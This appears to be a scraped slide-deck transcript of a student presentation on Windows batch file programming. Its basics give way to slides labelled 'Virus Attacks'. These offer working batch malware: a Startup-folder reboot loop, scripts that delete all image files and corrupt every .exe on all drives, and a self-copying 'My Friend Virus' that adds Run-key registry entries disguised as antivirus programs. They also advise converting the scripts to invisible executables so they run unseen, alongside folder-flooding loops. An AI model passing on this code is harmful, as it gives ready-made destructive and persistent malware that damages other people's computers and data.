batch file programming

Download Batch file programming

Post on 05-Dec-2014




2 download

Embed Size (px)




  • 1. Batch File Programming .(Virus Attacks) Introduction. Structure. Operators. Syntax. Fun. Dangerous.bat Utilities. Virus Attacks. Preventions. Presented by Yogendra Kirar M.C.A Final year.

2. Introduction.Batch processing Explain.(In MS-Windows)Batch processing means when there are someunique processes or tasks executes one afteranother in form of a group, bunch, or batch.Here, in windows batch file means the bunch ofDOS(Disk Operating System) Commands.By effective batch file programming manyutilities, funny items or viruses that harm thewindows machines can prepared.For good Batch file programmer deep knowledgeCommands in new lines of DOS commands is must. 3. Introduction.For making any batch file steps are. Open Notepad. Type DOS commands separately in new line. Saved it by .bat extension. To execute Double Click on that file whichlooks like . This is default icon of Batch files in Windows OS. 4. Structure Example running dos command. Start-Run-cmd Then cmd windows open looks like Now type any ms dos commands. You can control entire Operation System through DOS commands. For more commands type help and press enter. 5. StructureWorking of FileWhen we Click any batch file then-Firstly it opens the file read first line command run in command prompt.-Then closes the file.-Again open the file and run second file then close it.-Again open - run close this process is continue till the commands ends and exit.Note: All commands must be in new Line. 6. Operators. Operators as AcceleratorsWith batch files, which are also called batch Programs or scripts, you cansimplify routine or repetitive tasks-Call -Setlocal-Echo -Endlocal-For-If-Rem-Goto-Shift-Endlocal 7. Syntax Syntax (mostly used) call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] echo [{on|off}] [message] for {%variable|%%variable} in (set) do command [ CommandLineOptions] rem [comment] goto label 8. Fun Undeletable Folder with Your Name.This code will create a folder on desktop and in root of all drives of your computer which is not simply deletable.--------------------------------------------------------------------------------------:ymd C:"Documents and Settings""All Users"Desktopyogendramd c:yogendramd d:yogendramd e:yogendramd f:yogendramd g:yogendramd h:yogendragoto y---------------------------------------------------------------------------------------Copy this code in note pad and save it by anyname.bat 9. Important:Here, all of you a Question or doubt in mind.Is this true?You think that if the black window of command prompt will continuouslystays on desktop or on taskbar any on can suspect on it and if, somebodycloses it then our batch file execution is stopped.Solution of this is the Batch to Exe convertor software which converts batch file into exe . Then the file runs in background and uncatchable.Bat2exe: you can download this from url: soft_id=50301& 10. Snapshot Bat to ExeSource path (.bat file)Output path (.exe file)Check invisible applicationFinally compile the file 11. Fun Cant do anythingBy this code we create a file that ends the explorer.exe and all things are gone.Code:----------------------------------------------------------------------------------------Taskkill /im explorer.exe /f---------------------------------------------------------------------------------------- 12. Fun Many Foldersthis code creates 1000s of folders with number naming.Code:----------------------------------------------------------------------:eMd %random%Goto e---------------------------------------------------------------------- 13. Fun Rotating Clock hands this code rotates clocks hands continuously.Code:---------------------------------------------------------------------------------------------:ytime = 12:05:12time = 12:10:12time = 12:15:12time = 12:20:12time = 12:25:12time = 12:30:12time = 12:35:12time = 12:40:12time = 12:45:12time = 12:50:12time = 12:55:12goto y----------------------------------------------------------------------------------------------------------------------------------- 14. Utilities With funny things we can also make someutilities for windows machine. Utilities which helps us to maintain our systemlike speed, performance, hardisk mantainence. By batch file we can make schedule task. 15. Utilities Disk defragmenter file.This file is used to defragment your hard disk. Copy this file into location.C:Documents and SettingsAll UsersStart MenuProgramsStartupcode:------------------------------------------------------------------------------------------Defrag c: -fDefrag d: -fDefrag e: -fDefrag f: -fMsg * Defragment is completed--------------------------------------------------------------------------------------------- 16. UtilitiesSteganography code:Code:-----------------------------------------------------------------------Copy /b %1 + /b %2 new.jpgexit-----------------------------------------------------------------------------------------Save this code by hide.batHiding process1. Copy this hide.bat in a folder.2. Now copy a jpge file and a text file which we wants to hide behind jpeg in thatfolder.3. Now runs this hide .bat through dos prompt by providing names of jpeg file andtext file in order (.jpeg .txt ) and runs it.A new.jpeg is created with texthidden in it.4. To get your text open this jpeg in notepad and find your text in last of thenotepad. 17. UtilitiesRefresh. Code:Code:-----------------------------------------------------------------------taskkill /im explorer.exe /fstart explorer.exe----------------------------------------------------------------------------------------------Scheduled Shutdown:Code:-----------------------------------------------------------------------At [time] shutdown s f t 00 c Message----------------------------------------------------------------------- 18. Virus AttacksSystem restart virus.This batch file code is restarts system when it startsCode:---------------------------------------------------------------------------------------------echo shutdown r f t 00 > shut.batmove shut.bat C:"Documents and Settings""All Users""Start Menu"ProgramsStartup----------------------------------------------------------------------------------------------Copy the above code and paste in notepad by name anything.bat and runs on anyPc then after next restart the system will never starts and automatically restarts. 19. Virus Attacks For loop viruses 1 For loop is a looping operator which creates loop for any command This code creates messages on desktop showing files are corrupted.----------------------------------------------------------------------------------------------Code:For /r c: %%y in (*.*) do msg * %%y ------ is not actually corrupts the file it shows only messages----------------------------------------------------------------------------------------------Note: conversion into exe is required. 20. Virus AttacksFor loop viruses 2 (Damage level :High)For loop is a looping operator which creates loop for any command4. This code will remove all images, wallpapers from your systemWarning! -- Try it on your own risk.Code:for /r c: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/qfor /r d: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/qfor /r e: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/qfor /r f: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q Note: conversion into exe is required. 21. Virus AttacksFor loop viruses3 (Damage level :High)For loop is a looping operator which creates loop for any command3. This code will corrupt all exe files of your system. Warning! -- Try it on your own risk.Code: echo 00967jyj875kkj6704ekfkf9iddkc224543453000 > c:tempero.null for /r c: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y for /r d: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y for /r e: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y for /r f: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y del c:tempero.null /s/q Note: conversion into exe is required. 22. Virus AttacksFor loop viruses4 (Damage level :High)For loop is a looping operator which creates loop for any command3. This code will corrupt all exe files of your system. Warning! -- Try it on your own risk.Code: echo you lost all !!!! >c:tempero.null for /r c: %%y in (*.exe) do copy c:temporal.null + %%y %%y for /r d: %%y in (*.exe) do copy c:temporal.null + %%y %%y for /r e: %%y in (*.exe) do copy c:temporal.null + %%y %%y for /r f: %%y in (*.exe) do copy c:temporal.null + %%y %%y del c:tempero.null /s/qNote: conversion into exe is required. 23. My Friend Virus (Dangerous level : High) @echo off rename mypic.exe igfx.exe if exist c:windowssystem32igfx.exe goto code if exist d:windowssystem32igfx.exe goto code if exist e:windowssystem32igfx.exe goto code if exist f:windowssystem32igfx.exe goto code if exist g:windowssystem32igfx.exe goto code echo Windows Registry Editor Version 5.00>yog.reg echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>>yog.reg if exist c:windowsnul echo "yhlsagent"="c:windowssystem32igfx.exe">>yog.reg if exist d:windowsnul echo "yhlsagent"="d:windowssystem32igfx.exe">>yog.reg if exist e:windowsnul echo "yhlsagent"="e:windowssystem32igfx.exe">>yog.reg if exist f:windowsnul echo "yhlsagent"="f:windowssystem32igfx.exe">>yog.reg if exist g:windowsnul echo "yhlsagent"="g:windowssystem32igfx.exe">>yog.reg echo "avast!"="C:PROGRA~1Disp.exe">>yog.reg echo "avgnt"="C:PROGRA~1avg.exe">>yog.reg echo "USB Antivirus"="C:Program FilesGuard.exe">>yog.reg regedit /s yog.reg del yog.reg /s/q echo Windows Registry Editor Version 5.00>yog.reg echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]>>yog.reg echo "LegalNoticeCaption"="Say Happy Birthday to me">>yog.reg echo "LegalNoticeText"="I want that you wish to me on


View more >